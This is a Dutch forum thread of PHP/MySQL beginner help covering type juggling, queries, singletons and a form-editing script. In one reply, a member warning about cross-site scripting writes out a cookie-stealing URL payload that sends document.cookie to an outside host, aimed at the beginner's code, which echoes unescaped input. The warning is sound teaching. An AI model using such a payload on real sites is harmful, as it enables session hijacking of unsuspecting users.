FOK!forum / Digital Corner / [PHP/(My)SQL] voor dummies - Deel 70
slacker_nlwoensdag 18 maart 2009 @ 11:01

cd niet bijgeleverd

Als je vragen hebt over PHP/MySQL, dan zit je hier goed met een vaste kliek guru's en een groot aantal regelmatige bezoekers. Beperk je vragen niet tot "hij doet het niet" of "hij geeft een fout" - onze glazen bol is kapot en we willen graag van je weten wát er niet lukt en wélke foutmelding je precies krijgt

Vorige delen:
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69

Zie ook:
  • PHP Dataverwerking
  • Officiële PHP website
  • PHP Documentatie
  • MySQL Reference Manual
  • Yet Another PHP Faq
  • PHP Cheat Sheet
  • PHP5 Power Programming - boek met uitleg over OOP, Pear, XML, etc

    Tutorials:
  • W3Schools PHP
  • W3Schools SQL

    Deze OP en instructies voor nieuw topic: http://wiki.fok.nl/index.php/OP/PHP

    [ Bericht 0% gewijzigd door slacker_nl op 18-03-2009 11:11:18 ]
  • Roy_Twoensdag 18 maart 2009 @ 11:03
    tvphp
    Intrepiditywoensdag 18 maart 2009 @ 11:04
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    include("models/post.php");

    class 
    TVP extends Post
    {
       public static function 
    makeTvp()
       {
          
    parent::makePost("TVP!");
       }
    }

    TVP::makeTvp();
    ?>
    Darkomenwoensdag 18 maart 2009 @ 11:08
    quote:
    Op woensdag 18 maart 2009 11:04 schreef Intrepidity het volgende:

    [ code verwijderd ]
    what he says
    Tuvai.netwoensdag 18 maart 2009 @ 11:13
    PHP op je TV(P)
    PiRANiAwoensdag 18 maart 2009 @ 11:19
    Deel 70
    qu63woensdag 18 maart 2009 @ 11:20
    urselwoensdag 18 maart 2009 @ 11:20
    quote:
    Op woensdag 18 maart 2009 11:19 schreef PiRANiA het volgende:
    Deel 70
    Yeah.. feest..
    #ANONIEMwoensdag 18 maart 2009 @ 11:33
    tvp!
    Roy_Twoensdag 18 maart 2009 @ 11:33
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    #ANONIEMwoensdag 18 maart 2009 @ 11:52
    quote:
    Op woensdag 18 maart 2009 11:33 schreef Roy_T het volgende:
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    Whehe, ja. Daar kunnen een hoop mensen de mist in gaan. empty kan ook toch?
    Catch22-woensdag 18 maart 2009 @ 12:04
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    include("models/post.php");

    class TVP extends Post
    {
       public TVP()
       {
          parent::makePost("TVP!");
       }
    }

    TVP();
    Intrepiditywoensdag 18 maart 2009 @ 12:14
    quote:
    Op woensdag 18 maart 2009 12:04 schreef Catch22- het volgende:

    [ code verwijderd ]
    Geen geldige constructor in PHP 5, officieel :P

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class TVP extends Post
    {
       public function 
    __construct()
       {
          
    parent::__construct("TVP!");
       }
    }

    new 
    TVP();
    ?>
    Roy_Twoensdag 18 maart 2009 @ 12:16
    quote:
    Op woensdag 18 maart 2009 11:52 schreef Scorpie het volgende:

    Whehe, ja. Daar kunnen een hoop mensen de mist in gaan. empty kan ook toch?
    Ja, dat kan. Maar dat is symptoombestreiding: het is gewoon onlogisch om een lege array "null" te vinden.
    slacker_nlwoensdag 18 maart 2009 @ 13:30
    quote:
    Op woensdag 18 maart 2009 11:33 schreef Roy_T het volgende:
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    En een lege array is niks. Je ergert je zeker ook aan het feit dat $var = 0 ook failed met isempty().
    slacker_nlwoensdag 18 maart 2009 @ 13:44
    quote:
    Op woensdag 18 maart 2009 12:16 schreef Roy_T het volgende:

    [..]

    Ja, dat kan. Maar dat is symptoombestreiding: het is gewoon onlogisch om een lege array "null" te vinden.
    Hoezo?
    De array heeft wat memory toegewezen gekregen is bevat verder geen enkele waarde, aka NULL.
    Roy_Twoensdag 18 maart 2009 @ 13:52
    quote:
    Op woensdag 18 maart 2009 13:44 schreef slacker_nl het volgende:

    Hoezo?
    De array heeft wat memory toegewezen gekregen is bevat verder geen enkele waarde, aka NULL.
    Er is een array "object" gemaakt, het zou er imo niet toe moeten doen of hier wel of niet iets in staat. Hetzelfde geldt overigens voor een lege string, de integer 0, etc.

    Zo onlogisch is mijn denkwijze overigens niet, want in tig andere talen is een lege array niet null, net zo min als een lege string of het getal 0

    In PHP is ervoor gekozen om het te doen zoals het gedaan is (PHP is niet de enige taal), maar dat neemt niet weg dat ik het stom, onlogisch en irritant vind
    Siegfriedwoensdag 18 maart 2009 @ 13:58
    Ola Even een vraagje:

    Ik heb een tabel met (rss)feeds erin, en een tabel met de items uit die feeds. Nu wil ik die 2 combineren, en een INNER JOIN leek mij de meest logische oplossing.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    SELECT
        feeds.*,
        feeds_items.*       
    FROM
       feeds
    INNER JOIN    
        feeds_items
    ON
       feeds_items.feed_id = feeds.id


    Dit geeft een mooie lijst, maar deze lijst is eigenlijk veel te lang. Ik krijg nu bijv. zoiets als:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    feed_id   |   Titel
    ----------------------------------
    1   |   bla
    1   |   Blalala
    1   |   lalal
    1   |   blalala
    1   |   Blalala
    1   |   Bla
    2   |   Lalala
    2   |   Tralala
    2   |   Lalalala
    2   |   Joehoe
    2   |   Bla
    2   |   Blalala
    2   |   Blala
    3   |   Joehoe
    3   |   Hello
    3   |   Daag


    Weten jullie hoe ik nou bijv kan limitten op die ID? Dus alleen de eerste 2 van een feed_id waardoor dit overblijft:

    1
    2
    3
    4
    5
    6
    7
    8
    feed_id   |   Titel
    ----------------------------------
    1   |   bla
    1   |   Blalala
    2   |   Lalala
    2   |   Tralala
    3   |   Joehoe
    3   |   Hello
    slacker_nlwoensdag 18 maart 2009 @ 18:12
    quote:
    Op woensdag 18 maart 2009 13:52 schreef Roy_T het volgende:
    Er is een array "object" gemaakt, het zou er imo niet toe moeten doen of hier wel of niet iets in staat. Hetzelfde geldt overigens voor een lege string, de integer 0, etc.
    Het is geen object, aangezien ik niet $array->functie() kan aanroepen. Zoals je wel kan met java met String.toLower, python idem. Dat zijn echte objecten.

    Een array in PHP is geen echt object, maar gewoon een structuur in memory, die in het geval als ie leeg is geen enkele pointer bevat naar iets.. (object, of wat dan ook).

    Een lege string is emtpy, een 0 is een boolean false waarde, dus het is logisch in een loose typed taal dit als "empty" ziet.
    quote:
    Zo onlogisch is mijn denkwijze overigens niet, want in tig andere talen is een lege array niet null, net zo min als een lege string of het getal 0 :)
    Noem er eens eentje.
    quote:
    In PHP is ervoor gekozen om het te doen zoals het gedaan is (PHP is niet de enige taal), maar dat neemt niet weg dat ik het stom, onlogisch en irritant vind :P
    Perl ziet een lege array ook als false:

    1
    2
    3
    4
    5
    6
    7
    my @array;

    if (@array) {
        print "found something\n";
    } else {
        print "found nothing\n";
    }


    Je kan het irritant vinden, maar het is wel logisch.
    #ANONIEMwoensdag 18 maart 2009 @ 18:27
    Hoi!

    Wat is er mis met mijn PHP-script?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    include_once('sys_db.inc');

    $resultaat mysql_query("SELECT COUNT(*) AS count FROM todo WHERE ".
    "Soort = 'l' OR Soort = 'v';")
            or die(
    mysql_error());
    $gegevens mysql_fetch_assoc($resultaat);
    $count $gegevens["count"];

    if (
    $count==0)
            exit(
    0);
    else
            exit(
    1);
    ?>


    Dit is namelijk het resultaat als ik het uitvoer:
    quote:
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $
    Het ligt trouwens niet aan de sys_db.inc want andere programma's waar ik dat in gebruik werken wel zonder problemen. Dus wie o wie kan mij vertellen waarom dit imbeciel simpele programmaatje ervoor zorgt dat PHP constant crasht?

    [ Bericht 0% gewijzigd door #ANONIEM op 18-03-2009 18:27:28 ]
    slacker_nlwoensdag 18 maart 2009 @ 19:12
    Draait hier zonder problemen, welke php versie gebruik je trouwens?

    PHP 5.2.0-8+etch13 (cli) (built: Oct 2 2008 08:26:18)
    Copyright (c) 1997-2006 The PHP Group
    Zend Engine v2.2.0, Copyright (c) 1998-2006 Zend Technologies


    PHP 5.2.4-2ubuntu5.5 with Suhosin-Patch 0.9.6.2 (cli) (built: Feb 11 2009 20:09:52)
    Copyright (c) 1997-2007 The PHP Group
    Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
    PiRANiAwoensdag 18 maart 2009 @ 19:14
    quote:
    Segmentation fault can also occur under following circumstances:
    a) A buggy program / command, which can be only fixed by applying patch.
    b) It can also appear when you try to access an array beyond the end of an array under C programming.
    c) Inside a chrooted jail this can occur when critical shared libs, config file or /dev/ entry missing.
    d) Sometime hardware or faulty memory or driver can also create problem.
    e) Maintain suggested environment for all computer equipment (overheating can also generate this problem).
    hmz.. misschien ff een memtest doen?
    #ANONIEMwoensdag 18 maart 2009 @ 19:22
    @slacker_nl:
    PHP 5.2.6-1+lenny2 with Suhosin-Patch 0.9.6.2 (cli) (built: Jan 26 2009 22:41:04)

    @PiRANiA:
    c) is min of meer van toepassing, maar dan zou het óf wel óf niet moeten werken. Dit schijnbaar willekeurige gedrag dat het soms wel en soms niet werkt kan niet door chroot o.i.d. veroorzaakt worden, lijkt me.
    d) en e) lijken mij onwaarschijnlijk, want het probleem doet zich wel alleen maar bij dit ene scriptje voor. Andere programma's werken probleemloos, en ook andere (veel grotere en veel meer reken-intensieve) PHP-scripts werken prima.

    Daarom snap ik het ook niet. Maar bedankt voor het meedenken.
    Lightwoensdag 18 maart 2009 @ 21:45
    quote:
    Op woensdag 18 maart 2009 13:30 schreef slacker_nl het volgende:

    [..]

    En een lege array is niks. Je ergert je zeker ook aan het feit dat $var = 0 ook failed met isempty().
    isempty() bestaat niet, empty() en isset() wel.
    1
    2
    3
    4
    5
    <?php
    $var 
    0;
    var_dump(empty($var));
    var_dump(isset($var));
    ?>

    Dat levert twee keer true op.
    slacker_nldonderdag 19 maart 2009 @ 00:15
    quote:
    Op woensdag 18 maart 2009 21:45 schreef Light het volgende:

    [..]

    isempty() bestaat niet, empty() en isset() wel.
    Ja, php en z'n naming conventions.. Dat vind ik nou bloedje irritant van php.
    Lightdonderdag 19 maart 2009 @ 00:20
    quote:
    Op donderdag 19 maart 2009 00:15 schreef slacker_nl het volgende:

    [..]

    Ja, php en z'n naming conventions.. Dat vind ik nou bloedje irritant van php.
    Eens Alleen jammer dat ik andere talen nog niet goed genoeg beheers.
    Tuvai.netdonderdag 19 maart 2009 @ 07:59
    Ik heb voor PHP altijd die cheat sheet klaar liggen. Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.

    $haystack, $needle. $needle, $haystack.
    PiRANiAdonderdag 19 maart 2009 @ 08:14
    quote:
    Op donderdag 19 maart 2009 07:59 schreef Tuvai.net het volgende:
    Ik heb voor PHP altijd die cheat sheet klaar liggen. Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.

    $haystack, $needle. $needle, $haystack.
    Ik ook inderdaad
    Trouwens ook van Java, Javascript, MySQL, Regex et cetera. Als je ergens even niet mee bezig bent geweest moet je er vaak weer 'inkomen'
    Roy_Tdonderdag 19 maart 2009 @ 08:25
    quote:
    Op woensdag 18 maart 2009 18:12 schreef slacker_nl het volgende:

    Het is geen object, aangezien ik niet $array->functie() kan aanroepen. Zoals je wel kan met java met String.toLower, python idem. Dat zijn echte objecten.
    Note de aanhalingstekens rond "object" in mijn post. Ik weet dat het geen object is in PHP.
    quote:
    Een lege string is emtpy, een 0 is een boolean false waarde, dus het is logisch in een loose typed taal dit als "empty" ziet.
    Dat is nog geen reden om er blij mee te zijn toch?
    quote:
    Noem er eens eentje.
    Nou, eentje dan: Ruby.
    Roy_Tdonderdag 19 maart 2009 @ 08:26
    quote:
    Op donderdag 19 maart 2009 07:59 schreef Tuvai.net het volgende:
    Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.
    Er zit dan ook echt geen lijn in Bij de ene functie eerst $needle, dan $haystack en bij de andere weer andersom
    Tuvai.netdonderdag 19 maart 2009 @ 08:51
    Ik heb er ook echt alleen bij PHP last van. Na PHP werk ik het meest met C#, maar dat schrijf ik in Visual Studio waar Intellisense inzit die netjes een tooltip weergeeft met volgorde van parameters e.d.. Doet PHPDesigner dat ook? Zo ja, dan moet ik die maar eens gaan proberen.
    Catch22-donderdag 19 maart 2009 @ 09:00
    zijn wel meer editors die dat doen hoor. je kan ook eclipse proberen (dat is een beetje als anale sex, daar moet je wel van houden)
    Siegfrieddonderdag 19 maart 2009 @ 11:30
    Iemand misschien ook nog een oplossing voor mijn struikelblok?
    slacker_nldonderdag 19 maart 2009 @ 12:14
    quote:
    Op donderdag 19 maart 2009 09:00 schreef Catch22- het volgende:
    je kan ook eclipse proberen (dat is een beetje als anale sex, daar moet je wel van houden)
    Quote van de eeuw
    slacker_nldonderdag 19 maart 2009 @ 14:04
    quote:
    Op donderdag 19 maart 2009 08:25 schreef Roy_T het volgende:

    Note de aanhalingstekens rond "object" in mijn post. Ik weet dat het geen object is in PHP.
    [..]

    Dat is nog geen reden om er blij mee te zijn toch?
    [quote]
    Nou, eentje dan: Ruby.
    Een array is daar net zoals in Java een echt object als ik dit zo lees:

    http://www.techotopia.com/index.php/Understanding_Ruby_Arrays
    Roy_Tdonderdag 19 maart 2009 @ 15:28
    quote:
    Op donderdag 19 maart 2009 14:04 schreef slacker_nl het volgende:

    Een array is daar net zoals in Java een echt object als ik dit zo lees:

    http://www.techotopia.com/index.php/Understanding_Ruby_Arrays
    Ja, dat klopt helemaal. En ik stoor me er dus aan dat dat in PHP niet zo is, omdat je daardoor onlogisch gedrag krijgt. Jij misschien niet, maar er zijn natuurlijk geen argumenten waarom ik dat niet zou mogen
    #ANONIEMdonderdag 19 maart 2009 @ 15:39
    Hm. Als ik in een singleton class het volgende doe:

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    method makeTime
    (){
      
    $queryTime 1;
      
    $this->time $queryTime;
      echo 
    $queryTime;
      echo 
    $this->time;
    }
    ?>


    Dan krijg ik 1,0 te zien. Moet ik variabelen in een singleton class anders definieren ?

    [ Bericht 63% gewijzigd door #ANONIEM op 19-03-2009 15:41:48 ]
    Tuvai.netdonderdag 19 maart 2009 @ 15:53
    quote:
    Op donderdag 19 maart 2009 15:39 schreef Scorpie het volgende:
    Hm. Als ik in een singleton class het volgende doe:
    [ code verwijderd ]

    Dan krijg ik 1,0 te zien. Moet ik variabelen in een singleton class anders definieren ?
    Probeer eens self:: i.p.v. $this->.
    #ANONIEMdonderdag 19 maart 2009 @ 17:29
    quote:
    Op donderdag 19 maart 2009 15:53 schreef Tuvai.net het volgende:

    [..]

    Probeer eens self:: i.p.v. $this->.
    Zal het eens ff proberen.
    n8ndonderdag 19 maart 2009 @ 18:11
    Ik zoek een klein scriptje of functie die een id-naam van een div wijzigt, bijvoorbeeld van #small naar #wide, en dit opslaat in een cookie. Dus dat je met een input-knop het script start en er een cookie wordt geschreven, dat op andere pagina's uiteraard weer uitgelezen wordt. Ik heb geprobeerd dit met een taalvoorkeursscript op te lossen, maar dit bood mij geen soelaas, ook omdat ik echt een php-dummy ben. Als iemand mij op weg zou kunne helpen heel graag.
    Darkomendonderdag 19 maart 2009 @ 18:41
    Kan javascript ook voor je doen.
    n8ndonderdag 19 maart 2009 @ 18:46
    quote:
    Op donderdag 19 maart 2009 18:41 schreef Darkomen het volgende:
    Kan javascript ook voor je doen.
    Dit lijkt me wel mooier omdat de pagina dan niet opnieuw geladen dient te worden, maar daar heb ik nog minder kaas van gegeten.
    #ANONIEMdonderdag 19 maart 2009 @ 22:44
    quote:
    Op donderdag 19 maart 2009 15:53 schreef Tuvai.net het volgende:

    [..]

    Probeer eens self:: i.p.v. $this->.

    Werkt niet. Heb de hele code hier staan: http://pastebin.com/m37ccfcc0

    Database class, extended class MySQL , en dan singleton pattern. Geen idee wat er mis gaat though.
    qu63donderdag 19 maart 2009 @ 23:31
    Hoe kan je nou een PDF-document netjes opmaken dmv PHP? Ik wil een soort van orderbevestiging/facturen systeem maken, waarbij er dus PDF's aangemaakt moeten worden inclusief logo's etc. Welke class is nou het makkelijkst/beste om te gebruiken?
    Tiemievrijdag 20 maart 2009 @ 09:17
    quote:
    Op donderdag 19 maart 2009 23:31 schreef qu63 het volgende:
    Hoe kan je nou een PDF-document netjes opmaken dmv PHP? Ik wil een soort van orderbevestiging/facturen systeem maken, waarbij er dus PDF's aangemaakt moeten worden inclusief logo's etc. Welke class is nou het makkelijkst/beste om te gebruiken?
    TCPDF (gebaseerd op FPDF, maar dan met unicode en html-support).
    qu63vrijdag 20 maart 2009 @ 09:31
    quote:
    Op vrijdag 20 maart 2009 09:17 schreef Tiemie het volgende:

    [..]

    TCPDF (gebaseerd op FPDF, maar dan met unicode en html-support).
    Thanks! Ik ga daar maar even mee spelen..
    #ANONIEMvrijdag 20 maart 2009 @ 10:01
    quote:
    Op donderdag 19 maart 2009 22:44 schreef Scorpie het volgende:

    [..]

    Werkt niet. Heb de hele code hier staan: http://pastebin.com/m37ccfcc0

    Database class, extended class MySQL , en dan singleton pattern. Geen idee wat er mis gaat though.
    Hm...moet ik eerst constante variable definieren ofzo........
    poepeneesjevrijdag 20 maart 2009 @ 23:04
    Iemand enig idee waarom bij onderstaande code de boel niet werkt? Bij het veranderen van de eerst ASC naar DESC toont hij wel iets, maar niet het goede. Het verwijderen van LIMIT of de notatie LIMIT 0,8 geeft ook geen verandering.

    1
    2
    3
    <?php
    $sql 
    "SELECT id, startdate, enddate, eventname, place, country, eventtype, subscribedate, organizer, print FROM agenda ORDER BY startdate ASC, enddate ASC, subscribedate ASC LIMIT 8";
    ?>
    GlowMousevrijdag 20 maart 2009 @ 23:06
    quote:
    Op vrijdag 20 maart 2009 23:04 schreef poepeneesje het volgende:
    Iemand enig idee waarom bij onderstaande code de boel niet werkt? Bij het veranderen van de eerst ASC naar DESC toont hij wel iets, maar niet het goede. Het verwijderen van LIMIT of de notatie LIMIT 0,8 geeft ook geen verandering.
    [ code verwijderd ]
    Dat moet aan je overige code liggen.
    poepeneesjevrijdag 20 maart 2009 @ 23:10
    Ik heb nu dat, misschien dat iemand even mee kan kijken :)?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    <?php
    include "./database/mysql-database-connect.php";

        
    $sql "SELECT id, startdate, enddate, eventname, place, country, eventtype, subscribedate, organizer, print FROM agenda ORDER BY startdate ASC, enddate ASC, subscribedate ASC LIMIT 8";
        
    $query mysql_query($sql) or die (mysql_error ());
        
        while(
    $request mysql_fetch_array($query))
        {   
            
    $id $request["id"];
            
    $startdate $request["startdate"];
            
    $enddate $request["enddate"];
            
    $eventname $request["eventname"];
            
    $place $request["place"];
            
    $country $request["country"];
            
    $eventtype $request["eventtype"];
            
    $subscribedate $request["subscribedate"];
            
    $organizer $request["organizer"];
            
    $print $request["print"];
                
            
    $startday date("d"strtotime($startdate));
            
    $startmonth date("m"strtotime($startdate));
            
    $startyear date("Y"strtotime($startdate));
            
    $endday date("d"strtotime($enddate));
            
    $endmonth date("m"strtotime($enddate));
            
    $endyear date("Y"strtotime($enddate));
            
    $subscribeday date("d"strtotime($subscribedate));
            
    $subscribemonth date("m"strtotime($subscribedate));
            
    $subscribeyear date("Y"strtotime($subscribedate));
                    
            if((
    $print == 1) && ($enddate >= date("Y-m-d")))
            {
                
    $year date("Y");
                
    $nextyear $year 1;

                if((
    $startyear == $year) && ($endyear == $year))
                {    
                    if(
    $startmonth 13)
                    {
                        if(
    $startday == $endday)
                        {
                            if(
    strlen($eventname) > 45)
                            {
                                
    $shortEventname trim(substr($eventname042));
                                echo    
    "<div class=\"date\">$startday/$endmonth/$endyear</div><div class=\"event\">$shortEventname...</div>";
                            }
                            else
                            {
                                echo    
    "<div class=\"date\">$startday/$endmonth/$endyear</div><div class=\"event\">$eventname</div>";
                            }
                        }
                        else
                        {
                            if(
    strlen($eventname) > 45)
                            {
                                
    $shortEventname trim(substr($eventname042));
                                echo    
    "<div class=\"date\">$startday-$endday/$endmonth/$endyear</div><div class=\"event\">$shortEventname...</div>";
                            }
                            else
                            {
                                echo    
    "<div class=\"date\">$startday-$endday/$endmonth/$endyear</div><div class=\"event\">$eventname</div>";
                            }
                        }
                    }
                }
            }
        }
        include 
    "./database/mysql-database-disconnect.php";
    ?>
    GlowMousevrijdag 20 maart 2009 @ 23:15
    Die ifjes zullen wel niet meer kloppen. Waarom doe je dat niet met een WHERE in je query?
    poepeneesjevrijdag 20 maart 2009 @ 23:21
    Het is gewoon een hele lijst met data, evenementen en wat extra info. Daarvan wil ik op een homepage gewoon een samenvatting weergeven van de aankomende X-aantal evenementen. Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
    GlowMousevrijdag 20 maart 2009 @ 23:30
    quote:
    Op vrijdag 20 maart 2009 23:21 schreef poepeneesje het volgende:
    Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
    De 8 die je opvraagt voldoen niet aan de IF, klaar. En 'een hele lijst met data' kun je prima met je query filteren.
    jakeeszondag 22 maart 2009 @ 12:13
    Ik heb een probleem bij het doorgeven van waardes naar een ander formulier.
    Ik heb een spelers tabel. In de spelerstabel staat bij elke rij edit knop. Deze knop roept een php bestand aan waarin de waardes voor de spelers kunnen worden aangepast. Ik kan wel wijzigingen doen maar de waardes worden niet in de velden gezet. De waardes worden als het ware niet doorgegeven. Mijn code is:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    <?php
       function getrecords(){
       $sql = "SELECT * from SPELERS";
       $db = mysql_pconnect('localhost');
       if(!db){
          echo 'fout: kreeg geen verbinding met de database';
          exit;
          }
       mysql_select_db('zaalvoetbal');
       $result=mysql_query($sql);
       if (!$result){
          echo 'fout: sql statement niet correct';
          exit;
          }
       return $result;
       }
       function queryString ($id,$a,$b,$c,$d){
          return htmlspecialchars('spelers_id='.$id.'spelers_voornaam='.$a.'spelers_achternaam='.$b.'spelers_gsm='.$c.'spelers_punten='.$d);   
          }
       $result = getrecords();
       $num_results = mysql_num_rows($result);
       echo 'aantal records:'.$num_results.'<BR><BR>'."\n";
       echo '<table border=1>';
       for ($i=0;  $i < $num_results;$i++){
          $row = mysql_fetch_array($result);
          $spelers_id = $row['spelers_id'];
          $spelers_voornaam = $row['spelers_voornaam'];
          $spelers_achternaam = $row['spelers_achternaam'];
          $spelers_gsm = $row['spelers_gsm'];
          $spelers_punten = $row['spelers_punten'];
          echo '<tr><td>';
          echo $spelers_id;
          echo '</td><td>';
          echo $spelers_voornaam;
          echo '</td><td>';
          echo $spelers_achternaam;
          echo '</td><td>';
          echo $spelers_gsm;
          echo '</td><td>';
          echo $spelers_punten;
          echo '</td><td>';
          echo  '<a href="spelers_edit.php?';
          echo queryString($spelers_id,$spelers_voornaam,$spelers_achternaam,$spelers_gsm,$spelers_punten);
          echo '">edit</a>';
          echo '</td></tr>'."\n";
          }
          echo '</table>';
    ?>


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <h3>Spelers Bewerken</h3>
    <?php
       $spelers_id = $HTTP_GET_VARS['spelers_id'];
       $spelers_voornaam = $HTTP_GET_VARS['spelers_voornaam'];
       $spelers_achternaam =  $HTTP_GET_VARS['spelers_achternaam'];
       $spelers_gsm =  $HTTP_GET_VARS['spelers_gsm'];
       $spelers_punten =  $HTTP_GET_VARS['spelers_punten'];
    ?>
    <?php echo $spelers_voornaam?>;
    <form method="post" action="spelersUpdateRecord.php">
    <input type="hidden" name="spelers_id" value="<?php echo $spelers_id?>">
    Voornaam:<br>
    <input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
    achternaam:<br>
    <input type="Text" name="spelers_achternaam" size=20 value="<?php echo $spelers_achternaam?>"><br><br>
    gsm:<br>
    <input type="Text" name="spelers_gsm" size=20 value="<?php echo $spelers_gsm?>"><br><br>
    punten:<br>
    <input type="Text" name="spelers_punten" size=20 value="<?php echo $spelers_punten?>"><br><br>
    <input type="submit" name="bewaren" value="bewaren">
    </form>
    GlowMousezondag 22 maart 2009 @ 12:48
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    jakeeszondag 22 maart 2009 @ 13:46
    quote:
    Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    ten eerste thx voor de tips! ik ben net begonnen en heb een boek gelezen die (net gekeken) in 2005 is uitgekomen. Ik ga een nieuw boek aanschaffen.
    1. bedoel je hiermee dat je de een aparte php bestand moet aanmaken die het verbinding maken aanroept.
    2. kan ik dan beter mysql_connect gebruiken
    3. duidelijk
    4. duidelijk
    5. ok ik neem aan dat ik ook HTTP_POST_VARS moet vervangen door $_POST
    6. net een stukje over gelezen. Ik begrijp eruit dat mijn db corrupt kan worden doordat ik via urls ook de gegevens weg kan schrijven. Hangt dit samen met punt 4?
    7. duidelijk
    jakeeszondag 22 maart 2009 @ 13:57
    quote:
    Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
    GlowMousezondag 22 maart 2009 @ 13:58
    1. Ja dat, en dan aan het begin van je script een keer aanroepen en die verbinding dan in de rest van je script gebruiken. Eventueel later kun je je eigen db-klasse shrijven.
    2. ja, bij mysql gaat connecten toch snel.
    5. klopt, en je hebt ook nog $_COOKIE.
    6. Nee hangt niet samen. Input moet je altijd controleren. Zie oa. ook discussies over SQL injection. Wat als ik nu spelers_edit.php?spelers_id="><script language="JavaScript">document.write('<img src="http://mijnsite.com/?cookie' + document.cookie . '</img');</script> door jou laat aanklikken? Dan heb ik je cookie.
    GlowMousezondag 22 maart 2009 @ 13:59
    quote:
    Op zondag 22 maart 2009 13:57 schreef jakees het volgende:

    [..]

    heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
    Nee, heb je een linkje?
    jakeeszondag 22 maart 2009 @ 14:02
    quote:
    Op zondag 22 maart 2009 13:59 schreef GlowMouse het volgende:

    [..]

    Nee, heb je een linkje?
    nee ik werk alleen lokaal nog. Site is nog niet up zeg maar. Als ik in mijn spelers_edit.php
    1<?php echo $spelers_voornaam?>; 
    aanroep dan krijg ik geen resultaat. Het gekke is dat het wegschrijven wel goed gaat. De regel waar het ondermeer misgaat:
    1<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
    GlowMousezondag 22 maart 2009 @ 14:05
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
